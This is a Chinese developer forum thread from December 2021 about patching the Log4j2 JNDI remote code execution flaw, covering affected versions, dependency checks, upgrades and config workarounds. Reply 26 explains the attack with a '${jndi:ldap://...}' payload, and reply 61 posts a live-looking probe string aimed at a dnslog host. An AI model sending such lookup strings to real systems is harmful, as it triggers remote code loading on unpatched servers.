V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Jooooooooo
V2EX  ›  程序员

log4j2 的漏洞大家今天晚上修复吗?

  •  1
     
  •   Jooooooooo · 2021-12-10 00:16:50 +08:00 · 14787 次点击
    这是一个创建于 861 天前的主题,其中的信息可能已经有所发展或是发生改变。

    没想到继 fastjson 之后还有这一出.

    82 条回复    2021-12-13 10:14:58 +08:00
    Jooooooooo
        1
    Jooooooooo  
    OP
       2021-12-10 00:17:07 +08:00
    lix7
        2
    lix7  
       2021-12-10 00:26:32 +08:00
    点完早饭外卖被电话叫起来了修了...
    Divinook
        3
    Divinook  
       2021-12-10 01:42:28 +08:00
    log4j 有这个问题吗?
    ericgui
        4
    ericgui  
       2021-12-10 01:49:55 +08:00
    有什么 log4j2 的替代品吗
    zxCoder
        5
    zxCoder  
       2021-12-10 08:44:57 +08:00
    不懂信息安全。。。怎么一个 jar 包还能被攻击啊
    Imindzzz
        6
    Imindzzz  
       2021-12-10 08:45:57 +08:00
    作为脚本小子,我只关心 exp
    justs0o
        7
    justs0o  
       2021-12-10 09:21:29 +08:00   ❤️ 1
    Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2 、Apache Solr 、Apache Druid 、Apache Flink 等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。



    漏洞评级

    Apache Log4j 远程代码执行漏洞 严重



    影响版本

    Apache Log4j 2.x <= 2.14.1



    安全建议

    1. 升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

    2. 升级已知受影响的应用及组件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
    wolfie
        8
    wolfie  
       2021-12-10 09:47:07 +08:00
    @ericgui #4
    logback
    wanguorui123
        9
    wanguorui123  
       2021-12-10 10:07:37 +08:00
    MonkeyJon
        10
    MonkeyJon  
       2021-12-10 10:30:49 +08:00
    用户只需排查 Java 应用是否引入 log4j-api , log4j-core 两个 jar 。若存在应用使用,极大可能会受到影响。
    没有这俩,明天可以休息啦
    play78
        11
    play78  
       2021-12-10 10:39:53 +08:00
    springboot -> spring-boot-starter -> spring-boot-starter-logging -> log4j-to-slf4j -> log4j-api 也就是说所有 springboot 项目都会有影响?
    aoizz
        12
    aoizz  
       2021-12-10 10:41:32 +08:00
    @MonkeyJon #10 看 idea 外部库里面有 log4j-api ,但是系统用的是 logback,pom 文件也没有引入 log4j,怎么查看是哪个依赖带的?
    jinzhongyuan
        13
    jinzhongyuan  
       2021-12-10 10:52:57 +08:00
    哪位彦祖讲一下,一个 jar 包怎么被攻击?
    wolfie
        14
    wolfie  
       2021-12-10 10:53:52 +08:00   ❤️ 1
    @aoizz #12
    IDEA 、maven ,control + `+号`,所有依赖 tree 形式列出来了。
    enrolls
        15
    enrolls  
       2021-12-10 10:54:55 +08:00
    想看的东西在这
    enrolls
        16
    enrolls  
       2021-12-10 10:54:59 +08:00
    Vcccc
        17
    Vcccc  
       2021-12-10 10:55:36 +08:00
    Apache log4j2 在 2.0 至 2.14.1 版本均受影响。 好像我们用的还是 1.x 的版本[doge]
    learningman
        18
    learningman  
       2021-12-10 10:56:04 +08:00
    @aoizz #12 你这不都把答案说出来了吗。。。。logback 依赖 log4j 啊
    enrolls
        19
    enrolls  
       2021-12-10 10:56:17 +08:00
    arthas2234
        20
    arthas2234  
       2021-12-10 10:57:43 +08:00
    打开 IDEA ,搜一下 log4j ,用的是 1.X 的版本,继续摸鱼
    ixx
        21
    ixx  
       2021-12-10 10:59:51 +08:00
    @play78 #11 可以看一下项目 maven 依赖 我看 springboot 2.x 默认使用的不是 log4j
    rayhy
        22
    rayhy  
       2021-12-10 11:03:09 +08:00
    @justs0o 最新消息: https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5A

    Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本
    Jwyt
        23
    Jwyt  
       2021-12-10 11:03:38 +08:00   ❤️ 1
    @play78 不是吧 我记得 springboot 默认日志不是 slf4j + logback 么
    dreamramon
        24
    dreamramon  
       2021-12-10 11:04:03 +08:00
    加了环境变量了,不知道顶不顶得住。
    Jwyt
        25
    Jwyt  
       2021-12-10 11:04:36 +08:00
    @learningman 谁告诉你 logback 依赖 log4j 的?
    ixx
        26
    ixx  
       2021-12-10 11:05:28 +08:00   ❤️ 8
    @jinzhongyuan #13 通俗点说一下问题

    一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数

    如果前台传的是构造的参数如: ${jndi:ldap://xxxx.dnslog.cn/exp}

    exp 返回的是一个构造方法里执行 shell 代码的 class 文件

    然后你设置的什么命令服务器接收到参数后就执行这个命令了
    aoizz
        27
    aoizz  
       2021-12-10 11:08:31 +08:00
    @MonkeyJon #10 spring-boot-starter-web 里面排除 log4j-to-slf4j 就好了
    MonkeyJon
        28
    MonkeyJon  
       2021-12-10 11:34:41 +08:00
    @aoizz 应该是
    adamwhite
        29
    adamwhite  
       2021-12-10 11:42:54 +08:00
    @aoizz ... 麻了,那家公司只有一个后端的,几十个工程都要处理
    wbd31
        30
    wbd31  
       2021-12-10 11:48:54 +08:00
    funway
        31
    funway  
       2021-12-10 11:51:44 +08:00
    @ixx 👍
    感谢大佬,好像懂了
    RuzZ
        32
    RuzZ  
       2021-12-10 12:03:53 +08:00
    @wbd31 没用配置 jms appender ,应该就没有影响吧
    RuzZ
        34
    RuzZ  
       2021-12-10 12:07:25 +08:00   ❤️ 1
    @RuzZ 根据 quote 的内容,log4j1.x 不支持 lookup ,也找不到 JNDI 的相关引用,感觉是可以理解为 log4j 1.x 不受此次 bug 的影响
    adamwhite
        35
    adamwhite  
       2021-12-10 12:14:00 +08:00
    可以通过关闭日志暂时屏蔽问题么?
    Lemeng
        36
    Lemeng  
       2021-12-10 12:43:33 +08:00
    大厂加油
    sadfQED2
        37
    sadfQED2  
       2021-12-10 13:02:41 +08:00 via Android
    哈哈哈,非 java boy 开心吃瓜
    iold
        38
    iold  
       2021-12-10 13:03:58 +08:00
    arthas2234
        39
    arthas2234  
       2021-12-10 14:05:58 +08:00
    @wbd31 不会吧,现在蔓延到 1.x 了么,不过我负责的项目是在内网的,还可以观望一下
    play78
        40
    play78  
       2021-12-10 14:08:46 +08:00
    @arthas2234 让网管在防火墙上把 ldap 协议禁止了。估计还可以继续苟。
    xbchaonba
        41
    xbchaonba  
       2021-12-10 14:34:36 +08:00
    苹果云应为这个漏洞被搞了吗,一直登录不了
    matepi
        42
    matepi  
       2021-12-10 14:35:01 +08:00
    @play78 ldap 只是一种利用手段的演示而已,rmi 的方法多了去了
    sha851092391
        43
    sha851092391  
       2021-12-10 14:37:06 +08:00
    快速验证是否有这个问题: https://issues.apache.org/jira/browse/LOG4J2-3202
    修复措施:直接升级到 2.15.0 版本
    临时修复措施: 增加 log4j2.component.properties 配置文件,配置为 log4j2.formatMsgNoLookups=true
    yiywain
        44
    yiywain  
       2021-12-10 14:45:18 +08:00
    没有过哎
    janda
        45
    janda  
       2021-12-10 14:52:54 +08:00
    用的 springboot 、也看了 mvn 仓库没有、这个咋更新
    ```pom
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
    </dependency>
    ```
    ivancai
        46
    ivancai  
       2021-12-10 14:56:39 +08:00
    是 log4j2 有问题还是 log4j 都有这个问题?
    NULL2020
        47
    NULL2020  
       2021-12-10 15:02:25 +08:00
    没人说说刚发布的版本怎么编译打包吗?
    wbd31
        48
    wbd31  
       2021-12-10 15:07:22 +08:00
    @sha851092391 log4j2.formatMsgNoLookups 这个配置只有在 2.10.0 之后的版本才生效。
    sshang
        49
    sshang  
       2021-12-10 15:10:55 +08:00
    @ivancai log4j2 就是 log4j 的 2.x 版本,artifact 就是 log4j
    sagaxu
        50
    sagaxu  
       2021-12-10 15:31:57 +08:00 via Android
    官方真急了,禁用了这个功能,把开关都去掉了,官网文档也找不到这个配置项了
    issakchill
        51
    issakchill  
       2021-12-10 16:11:28 +08:00
    @NULL2020 我先用着 2.15.0 顶着 aliyun 库有
    pocketz
        52
    pocketz  
       2021-12-10 16:15:04 +08:00
    janda
        54
    janda  
       2021-12-10 16:31:59 +08:00
    @janda
    maven 更新:

    <!--Log4j-->
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.15.0</version>
    </dependency>
    deadofpeople
        55
    deadofpeople  
       2021-12-10 16:35:12 +08:00
    官网的 2.15.0 是 RC2 版本么
    NULL2020
        56
    NULL2020  
       2021-12-10 16:36:13 +08:00
    @pocketz #52 没用,报错


    @issakchill #51 我在阿里仓库网站上能搜索到,但 idea 下载不了
    VIVVACI
        57
    VIVVACI  
       2021-12-10 16:41:12 +08:00
    @adamwhite 日志可不能随便关啊,出了问题日志是 debug 的最重要的依据之一,不能因噎废食
    jamzhou
        58
    jamzhou  
       2021-12-10 17:08:50 +08:00
    确定 log4j-api 也受影响吗,我这边通过尝试构建攻击参数,并未能复现注入攻击。
    而 2.14.1 上,的确可以让记录日志的时候,注入远程执行。
    BigDogWang
        59
    BigDogWang  
       2021-12-10 18:03:12 +08:00
    1.7 版本没事吧
    a594195609
        60
    a594195609  
       2021-12-10 18:05:26 +08:00
    @NULL2020 你看错了吧?阿里云仓库里目前能搜得到的是非官方的,groupId 不一样的,大小都差很远,不敢用。
    Imindzzz
        61
    Imindzzz  
       2021-12-10 18:07:35 +08:00
    ${jndi:ldap://00pfh9.dnslog.cn}
    sshang
        62
    sshang  
       2021-12-10 18:17:39 +08:00
    @jamzhou 你复现注入执行的时候,是用的 log4j 的什么包
    lhwarthas
        63
    lhwarthas  
       2021-12-10 18:44:13 +08:00
    源码编译步骤:
    1.准备 JDK8 & JDK11 & maven
    2.配置环境变量 export JAVA_HOME_8_X64=jdk8 目录 export JAVA_HOME_11_X64=jdk11 目录
    3.源码目录下执行 mvn package -Dmaven.test.skip=true -DtrimStackTrace=false -Dmaven.test.failure.ignore=true -Dsurefire.rerunFailingTestsCount=1 --global-toolchains .github/workflows/maven-toolchains.xml
    pocketz
        64
    pocketz  
       2021-12-10 19:14:59 +08:00
    @NULL2020
    你报错信息是什么?我这边报错是远程 repo 里没有 log4j-api-java9 。

    把源码里的 log4j-api-java9 添加到我本地的 repo 里,log4j-api 就编译成功了
    donespeak
        65
    donespeak  
       2021-12-10 20:02:25 +08:00
    有人讲讲通过这个漏洞可以做什么样的吗?
    whoosy
        66
    whoosy  
       2021-12-10 20:23:34 +08:00
    正在搞
    Depth
        67
    Depth  
       2021-12-10 20:28:05 +08:00
    @donespeak 远程命令执行,好点的远程下载木马,反弹 shell,坏点的,rm -r root 一下
    yangyaofei
        68
    yangyaofei  
       2021-12-10 20:55:00 +08:00 via Android
    那个……如果是 linux 上,用一个很低的权限(只有 web 文件夹有读权限)的帐户运行程序,是不是就没事儿了?
    zooo
        69
    zooo  
       2021-12-10 20:56:25 +08:00
    @donespeak 大概就是攻击者想执行什么代码就可以执行什么代码
    linvaux
        70
    linvaux  
       2021-12-10 21:10:22 +08:00
    @ericgui logback
    wth4612
        71
    wth4612  
       2021-12-10 21:14:19 +08:00
    codehz
        72
    codehz  
       2021-12-10 21:22:59 +08:00 via Android
    @yangyaofei 考虑下内网有没有别的服务(
    比如数据库

    还有就是即使啥权限没有,也能挖矿
    SirCarol
        73
    SirCarol  
       2021-12-10 21:25:11 +08:00 via iPhone
    今天修复了一天。
    jamzhou
        74
    jamzhou  
       2021-12-10 21:34:25 +08:00
    @sshang 我用的 2.14.1

    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
    </dependency>
    movq
        75
    movq  
       2021-12-10 21:52:59 +08:00   ❤️ 1
    Spring 里面默认用的 logback+slf4j ,然后 log4j api 只是个 api ,log4j-to-slf4j 只是让调用 log4j 的代码不变,背后实际调用的是 slf4j 吧

    总结下来就是 Spring 默认情况下不存在这个漏洞

    @jamzhou
    @aoizz
    @aoizz
    @play78
    hallDrawnel
        76
    hallDrawnel  
       2021-12-10 23:20:07 +08:00
    今天看隔壁修了一天,还好我们这边没 Java
    ericFork
        77
    ericFork  
       2021-12-10 23:42:43 +08:00
    @hallDrawnel #76 依赖的基础设施如果有用到的话也一样要修的,比如 kafka, elasticsearch
    hallDrawnel
        78
    hallDrawnel  
       2021-12-11 00:01:05 +08:00
    @ericFork 是的,但是那个有其他团队负责修,我们只需要观察稳定性就行了
    vincent956
        79
    vincent956  
       2021-12-11 07:41:21 +08:00
    @MonkeyJon springboot 自己引入的这个两个包,但是项目上没有使用,有影响吗
    Kaiv2
        80
    Kaiv2  
       2021-12-11 10:51:52 +08:00
    高版本 JDK 不用太担心
    com.sun.jndi.rmi.object.trustURLCodebase 这个参数没有设置为 true ,不会远程加载 class, 会抛出异常
    ixx
        81
    ixx  
       2021-12-11 12:18:22 +08:00
    @vincent956 #79 springboot 默认是没有影响的
    wilsonsui
        82
    wilsonsui  
       2021-12-13 10:14:58 +08:00   ❤️ 1
    参考 https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot spring-boot-starter-logging 包中的 log4j-to-slf4j 与 log4j-api 不受漏洞影响,只有 log4j-core 受影响
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   5138 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 33ms · UTC 09:30 · PVG 17:30 · LAX 02:30 · JFK 05:30
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.